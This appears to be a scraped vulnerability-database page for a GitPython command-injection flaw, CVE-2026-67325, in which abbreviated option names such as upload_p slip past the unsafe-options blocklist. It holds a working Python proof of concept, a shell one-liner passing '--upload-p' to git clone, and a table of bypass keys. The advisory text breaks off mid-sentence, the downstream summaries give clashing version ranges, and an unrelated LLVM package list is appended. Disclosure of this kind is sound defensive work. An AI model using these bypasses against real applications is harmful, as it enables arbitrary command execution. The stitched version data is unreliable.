tach

## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

**Component:** gitpython-developers/GitPython (PyPI: GitPython)
**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)
**Reporter:** hackkim

### Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.

The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration.

### The asymmetry (root cause)

```python
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)
```

The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

### Affected code (commit `20c5e275`)

| Location | Role |
|---|---|
| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |
| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |
| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI |
| `git/repo/base.py:1411,1413` | clone call sites |
| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |

### Bypass keys (verified)

| kwarg key | git resolves to | path | weaponizable |
|---|---|---|---|
| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |
| `receive_p` | `--receive-pack` | push | Yes — direct RCE |
| `exe` | `--exec` | push | Yes — direct RCE |
| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |

### Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1):

```python
import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed
```

Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.

Confirmed behavior:
- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).

### Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.

On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist (CVE-2026-67325)

snakemake

GitPython versions from 5.5.3 up to but not including 9.23.1_1 contain a command injection vulnerability (CVE-2026-67325) due to incomplete blocking of unsafe git options. The vulnerability arises because the fix for a previous issue (CVE-2026-42215) only blocks exact matches of dangerous git options but does not account for git's acceptance of unambiguous long-option prefix abbreviations. This allows attackers to bypass the blocklist by using abbreviated option keys that are translated into dangerous git commands, leading to remote code execution when attacker-controlled keys are passed to GitPython clone, fetch, pull, or push operations. A fix is available in version 9.23.1_1.

shallow-backup

otterdog

opentimestamps-client

nbdime

GitPython versions from 1.1.0 up to but not including 4.0.4_4 contain a command injection vulnerability (CVE-2026-67325) due to incomplete blocking of unsafe git options. The vulnerability arises because the fix for a previous issue (CVE-2026-42215) only blocked exact matches of dangerous options but did not account for git's acceptance of unambiguous long-option prefix abbreviations. This allows attackers controlling keyword argument keys to bypass the blocklist and execute arbitrary commands during clone, fetch, pull, or push operations. A fix is available in version 4.0.4_4.

mistral-vibe

GitPython versions from 2.1.0 up to but not including 2.21.0 contain a command injection vulnerability due to incomplete blocking of dangerous git options. The vulnerability arises because the fix for CVE-2026-42215 only blocks exact matches of unsafe options, but git accepts unambiguous long-option prefix abbreviations that bypass this check. This allows attacker-controlled keyword argument keys to be interpreted as dangerous git options, leading to remote code execution during clone, fetch, pull, or push operations.

legit

GitPython versions from 0.1.0 up to but not including 1.2.0.post0_11 contain a command injection vulnerability (CVE-2026-67325) due to incomplete blocking of unsafe git options. The vulnerability arises because the fix for a previous issue (CVE-2026-42215) only blocks exact matches of dangerous git options but does not account for git's acceptance of unambiguous long-option prefix abbreviations. This allows attackers controlling keyword argument keys to bypass the blocklist and execute arbitrary commands during clone, fetch, pull, or push operations. A patch is available in version 1.2.0.post0_11.

gitup

fdroidserver

cruft

GitPython versions from 2.9.0 up to but not including 2.16.0_11 contain a command injection vulnerability due to incomplete blocking of unsafe git options. The vulnerability arises because the fix for a prior CVE (CVE-2026-42215) only blocks exact matches of dangerous git options but does not account for git's acceptance of unambiguous long-option prefix abbreviations. This allows attackers controlling keyword argument keys to bypass the blocklist and execute arbitrary commands during clone, fetch, pull, or push operations.

conda-lock

cf2tf

GitPython

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.

CVE-2026-67325: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in…

snowflake-cli

kimi-cli

python-git

This update includes the following RPMs:

llvm:
  * clang-22.1.8-4.1.hum1 (aarch64, x86_64)
  * clang-analyzer-22.1.8-4.1.hum1 (aarch64, x86_64)
  * clang-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * clang-libs-22.1.8-4.1.hum1 (aarch64, x86_64)
  * clang-resource-filesystem-22.1.8-4.1.hum1 (aarch64, x86_64)
  * clang-tools-extra-22.1.8-4.1.hum1 (aarch64, x86_64)
  * clang-tools-extra-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * compiler-rt-22.1.8-4.1.hum1 (aarch64, x86_64)
  * git-clang-format-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libcxx-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libcxx-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libcxx-static-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libcxxabi-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libcxxabi-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libcxxabi-static-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libomp-22.1.8-4.1.hum1 (aarch64, x86_64)
  * libomp-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * lld-22.1.8-4.1.hum1 (aarch64, x86_64)
  * lld-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * lld-libs-22.1.8-4.1.hum1 (aarch64, x86_64)
  * lldb-22.1.8-4.1.hum1 (aarch64, x86_64)
  * lldb-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-bolt-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-cmake-utils-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-doc-22.1.8-4.1.hum1 (noarch)
  * llvm-filesystem-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-googletest-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-libs-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-libunwind-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-libunwind-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-libunwind-static-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-static-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-test-22.1.8-4.1.hum1 (aarch64, x86_64)
  * polly-22.1.8-4.1.hum1 (aarch64, x86_64)
  * polly-devel-22.1.8-4.1.hum1 (aarch64, x86_64)
  * python3-clang-22.1.8-4.1.hum1 (aarch64, x86_64)
  * python3-lit-22.1.8-4.1.hum1 (noarch)
  * python3-lldb-22.1.8-4.1.hum1 (aarch64, x86_64)
  * llvm-22.1.8-4.1.hum1.src (src)

Search: CVE-2026-67325